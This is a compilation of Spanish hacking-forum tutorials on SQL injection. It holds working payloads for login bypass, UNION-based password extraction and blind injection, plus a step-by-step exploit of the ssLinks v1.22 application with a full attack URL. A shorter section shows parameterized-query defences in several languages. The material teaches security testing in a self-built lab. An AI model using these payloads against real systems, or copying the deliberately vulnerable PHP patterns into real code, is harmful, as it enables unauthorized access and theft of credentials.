Inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.
Para poder explotar con exito una falla de inyección SQL es necesario que estes familiarizado con anterioridad el lenguaje.
Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.
Ejemplo 1
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}
Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false.
omo podemos hacer que no devuelva false??
- Con el password correcto
- Haciendo trampa
Logicamente, no usaremos la primera opción.
Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..
SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'
ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'
y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false
Ahora, con un poco de creatividad:
de usuario: Pegaso
de password: ' OR ''='
la sentencia SQL recibira:
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''
nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.
Otros posibles valores que devuelven true son:
- usuario: Pegaso AND /* password: */ ''='
- usuario: ' OR 1=1 //
Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo
Ejemplo 2
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}
Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.
Ahora, queremos sacar el password.. pero.. ¿como?
Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
- Necesitas meter la misma cantidad de valores que tiene la tabla.
- Tener un informe de los errores que provocaremos en la instrucción
Bien ahora empezemos.
la instrucción a modificar es la siguiente:
SELECT password FROM usuarios WHERE user = '$us'
como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:
SELECT password FROM usuarios WHERE user = 'zanahoria'
Otra vez necesitamos creatividad
regresemos al UNION.
UNION necesita que el numero de columnas sea igual, sino sacara un error.
y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.
el UNION se usa de esta forma:
usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''
para lo cual SQL nos respondera:
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''
Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)
Quedaria algo asi:
' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria
la sentencia seria esta:
SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'
que nos da como error:
Syntax error converting the varchar value 'naranja' to a column of data type int.
donde el password es naranja.
Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).
el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='
y nos regresa:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:
' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='
y eso nos regresa:
root@localhost
esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.
Ejercicio
¿Que puedes hacer con esta sentencia?
¡
$sql="UPDATE clicks set dat=now(), aas=aas+1 where ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());
Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.
Fuente Original: http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html
Autor:
sirdarckcat
Ejemplo 3
La inyección SQL es fácil de evitar en la mayoría de los
lenguajes de programación que desarrollan aplicaciones web. En
Perl DBI, el
método
DBI::quote filtra los caracteres especiales (asumiendo que la variable
$sql contiene una referencia a un objeto DBI)
$query = $sql->prepare
(
"SELECT * FROM usuarios WHERE nombre = "
.
$sql->quote($nombre_usuario)
);
O también se puede usar la característica
placeholder (con comillado automático) como sigue:
$query = $sql->prepare("SELECT * FROM usuario WHERE nombre = ?");
$query->execute($nombre_usuario);
En PHP, hay diferentes funciones que nos pueden servir de ayuda para usar con distintos sistemas
de gestión de bases de datos. Para MySQL, la función a usar es mysql_real_escape_string:
$query_result = mysql_query
(
"SELECT * FROM usuarios WHERE nombre = \""
.
mysql_real_escape_string($nombre_usuario)
.
"\""
);
En el Java, tenemos que usar la clase PreparedStatement :
En vez de
Connection con = (acquire Connection)
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';");
hay que usar lo siguiente
Connection con = (acquire Connection)
PreparedStatement pstmt = con.prepareStatement("SELECT * FROM usuarios WHERE nombre = ?");
pstmt.setString(1, nombreUsuario);
ResultSet rset = pstmt.executeQuery();
En C#, de la plataforma .NET (o su alternativa libre Mono), tenemos ADO.NET SqlCommand (para Microsoft SQL Server) or OracleCommand
(para servidores de bases de datos Oracle). El ejemplo de abajo muestra
cómo prevenir los ataques de inyección de código usando el objeto
SqlCommand. El código para ADO.NET se programa de forma similar, pero
puede variar levemente según la implementación específica de cada
proveedor.
En vez de
using( SqlConnection con = (acquire connection) ) {
con. Open();
using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "'", con) ) {
using( SqlDataReader rdr = cmd.ExecuteReader() ){
...
}
}
}
hay que usar lo siguiente
using( SqlConnection con = (acquire connection) ) {
con. Open();
using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = @nombreUsuario", con) ) {
cmd.Parameters.AddWithValue("@nombreUsuario", nombreUsuario);
using( SqlDataReader rdr = cmd.ExecuteReader() ){
...
}
}
}
Blind SQL injection
Tipo de inyección SQL
que es utilizado cuando una página web por motivos de seguridad no
muestra mensajes de error de la base de datos al no haber un resultado
correcto mostrándose siempre el mismo contenido (solo habrá respuesta
si el resultado es correcto). Sentencias del tipo "Or 1=1" o "having
1=1" ofrecen respuestas siempre correctas por lo que son usadas como
comprobación. El problema para la seguridad de la página está en que
esta técnica es utilizada en combinación de diccionarios o fuerza bruta
para la búsqueda carácter por carácter de una contraseña, un nombre de
un usuario, un número de teléfono o cualquier otra información que
albergue la base de datos atacada; para ello se utiliza código SQL
específico que "va probando" cada carácter consiguiendo resultado
positivo cuando hay una coincidencia. De esta manera se puede saber por
ejemplo que una contraseña comienza por "F...", luego "Fi...", luego
"Fir..." hasta dar con la palabra completa.
Existen programas que automatizan éste proceso de "adivinación"
letra por letra del resultado de la consulta SQL que un intruso podría
enviar.
Atacando a una aplicación real.
El como y el porque de las inyecciones SQL.
Prefacio
Este
artículo tiene como objetivo, hacer saber al lector, que es lo que pasa
exactamente dentro de la aplicación cuando hacemos una inyección SQL.
De esta manera, pretendo evitar que el lector haga simples
copy&paste para atacar a una web y que en algún momento tenga los
conocimientos necesarios para poder modificar la sentencia a su antojo.
El programa que atacaremos [
ssLinks v1.22 -
http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.
Nivel
Principiante.
Herramientas necesarias
- Bloc de notas o editor de texto.
- Servidor
web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una
cuenta en un hosting gratuito o montarte tu propio servidor web)
- ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
- Ganas de aprender
Montando el escenario
Primero
extraemos todos los ficheros del archivo zip dentro de nuestro servidor
local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo
importante es poder ejecutar el programa desde un navegador web.
Una vez extraídos o subidos, abrimos
desde el navegador el archivo install.php.
Aquí debemos introducir nuestros datos de la base de datos. Si teneis
una cuenta de hosting, estos datos os habrán llegado por mail o los
tendreís en vuestro panel de administración. Si, en cambio, teneis un
servidor local, estos datos los tendríais que saber
Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.
Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.
CREATE TABLE sslinkcats (
lcat_id int(11) NOT NULL auto_increment,
lcat_cat int(11) DEFAULT '0' NOT NULL,
lcat_name varchar(100) NOT NULL,
lcat_header text,
lcat_ranking int(11),
lcat_numlinks int(11) DEFAULT '0' NOT NULL,
PRIMARY KEY (lcat_id)
)
---------------------------------------------------------------------------------
CREATE TABLE sslinks (
link_id int(11) NOT NULL auto_increment,
link_cat int(11) DEFAULT '0' NOT NULL,
link_name varchar(100) NOT NULL,
link_url varchar(255) NOT NULL,
link_desc text,
link_hits int(11) DEFAULT '0' NOT NULL,
link_totalrate int(11),
link_numvotes int(11),
link_dateadd int(11),
link_addemail varchar(255),
link_addname varchar(100),
link_validated char(3),
link_recommended char(3) DEFAULT 'no' NOT NULL,
PRIMARY KEY (link_id)
)
Y por último, cambiar estas líneas del archivo
global.inc.php:
// mySQL database Host / Name / Username / Password
$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password
Más
adelante nos pedirá el nombre de usuario y el password que queremos
para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser
una aplicación de prueba, dejaremos estos dos valores por defecto.
Una vez instalado todo, podemos borrar tranquilamente el archivo
install.php y entramos en el
links.php.
Veremos algo así:
Si vamos a
Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.
Igualmente estos datos se pueden encontrar en el archivo global.inc.php
// Admin username / password for the script
$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin
Una
vez loggeados como administradores, veremos un panel para agregar
categorías y links. Nosotros agregaremos 3 links diferentes para hacer
las pruebas.
Ok. Perfecto. Logout y tenemos el escenario montado
Antes
de empezar hacer varios clicks sobre el primer link que hayáis puesto
(ID=1), para ver luego el ataque final. (lo veremos más adelante)
El ataque
Empezemos lo divertido
Antes
que nada miremos lo primero de todo. Los links, no redireccionan a la
página directamente sino que pasan por la misma página otra vez con un
argumento "go".
Lo veis? Este link nos envia a
links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:
Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.
De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.
Pues bien, miremos primero de todo si la variable go es vulnerable.
Abrimos el archivo
links.php:
<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/
// See global.inc.php for changes since version 1.0.
include("global.inc.php"); //Change this if global.inc.php is in a different directory
// You should not need to change anything below this line.
$admin = is_admin();
$return = numlinks_array(); // Build array of number of links in each category
$numlinks = $return[0];
$numlinkstree = $return[1];
if ((!$cat) && (!$go) && (!$action))
$cat = 0;
if (isset($go))
{
jump_to($go);
}
if ($action == "login")
{
if ($username)
login($username, $password);
}
...
?>
Ahora toca pensar como una máquina
Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve
true
cuando la variable que le pasamos como argumento esta declarada. Como
hemos visto que el programa pasaba como argumento la variable "go", es
evidente que la función isset devolverá, en este caso,
true. Con lo que nos queda que la variable $go, será enviada a una función
jump_to().
Si os fijais, la función jump_to() no está declarada en
links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...
include("global.inc.php");
Pues nos toca buscar esta función en tal archivo.
Abrimos el archivo
global.inc.php y... sorpresa!
En la línea 543 encontramos la función!
<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>
Y una breve explicación de lo que hace (
redirect user to URL of $id and increment the hit counter).
Excelente!
Es justo lo que habíamos deducido: la variable go llega al archivo, se
consulta a la base de datos que URL esta asociada a tal ID, y nos
redirije a ella, despues de haber incrementando el contador.
Nota:
Ahora en la función, la variable $go cambia de nombre por la cabecera
de la función y pasa a llamarse $id. Esto no nos afectará...
Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
La variable $id se pasa como sentencia SQL
sin estar limpiada!!
Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las
magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.
La
segunda será imprimir en pantalla la sentencia SQL, y la tercera anular
los header, para que no nos redirija a ningún lado (de momento)
Para ello, modificar la función de tal manera que quede así:
<?php
function jump_to($id)
{
$id = stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>
Lo que hemos hecho es lo siguiente. Con la función stripslashes()
evitamos el efecto de las magic_quotes sobre la variable $id y más
adelante imprimimos simplemente la consulta SQL antes de enviarla al
MySQL. Además comentamos los headers para poder ver el efecto que tiene
nuestro ataque, porque sino nos redirije.
Perfecto... Empezemos a hacer pruebas!
En nuestro navegador escribamos...
http://localhost/sslinks-v122/links.php?go=ertai r00lz XD
Y que sale?
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'
Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.
Que
significa no limpiar la variable? Pues en este caso el programador
esperaba recibir un número, pero nosotros como "curiosos" le enviamos
una cadena de texto y el programa no se queja.
Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.
Un poco de SQL
Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.
Pues
bien, (casi) toda inyección comienza con un UNION. Porque? Porque
nosotros sabemos que podemos insertar código a traves de la variable
go. El resto de la instrucción SQL
no es modificable, por lo
tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de
UNION. Union "concatena" por así decir los resultados de diferentes
instrucciones SQL.
Supongamos que nuestra aplicación,
funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué?
Porque en condiciones normales, solo hay un ID, que devuelve la URL a
la cual queremos ir (el link) y NO mas resultados.
Por eso,
nosotros tendremos que hacer que la SQL original (la primera) NO de
resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve
UN resultado y así en el código todo cuadrara.
Además, el número
de campos para seleccionar en nuestra consulta inyectada debe ser el
mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".
P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cogemos un ID imposible, como -1 (menos uno)
P: Como cogemos nuestros datos?
R: Pues para mostrar como funciona esto, cogeremos como ejemplo los hits del ID=1.
P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco
Manos a la obra:
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'
Ok, hacemos el UNION SELECT y cogemos el campo hits de la misma tabla.
SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'
Ahora
esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá
un resultado vacío porque no existe el -1, y pasara al UNION... si os
fijais, el primer campo link_hits corresponde al link_url de la
primera, para que nos redirija a una URL que no será ni nada mas ni
nada menos que los hits del id = 1. El segundo campo, cojemos otra vez
los hits, para cuadrar con la primera instrucción SQL.
Por lo
tanto, si extraemos la SQL inyectada del trozo inyectable de la primera
queda que lo que hemos de poner entre los '' es lo siguiente:
-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
Si
os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso
es para que cuadre con las que hay en la sentencia SQL original.
Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso,
quitad
las // (doble barras) que habíamos puesto delante de los dos header()
dentro de la función y guardad, el resto de modificaciones dejadlas.
Los headers harán que nos redirijan.
Por lo tanto, escribid en vuestro navegador:
http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
Y como veis nos intenta llevar a:
http://RUTA_DONDE_TENGAIS_SSLINKS/numero
... donde numero es el numero de visitas del link con ID=1.
Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.
Ahora
esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero
de hits, nos redijiera al hash del password del admin. La cosa cambia,
no? jeje.
Pues eso es todo. Espero poder tener tiempo para ir
modificando todo y hacerlo más claro, aunque creo que si os poneis lo
acabareis sacando.
Recordad que podeis postear cualquier duda,
pero intentad antes resolverla por vuestra cuenta. Si habeis leido el
texto bien, os habreis dado cuenta de que el hacking es también astucia
e imaginación, saber encontrar el truco donde nadie lo habría pensado.
Por eso no es nada mecánico, y la única manera de poder sacar las cosas
solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y
luego preguntar.
Autor: Ertai
Fuente Original: http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html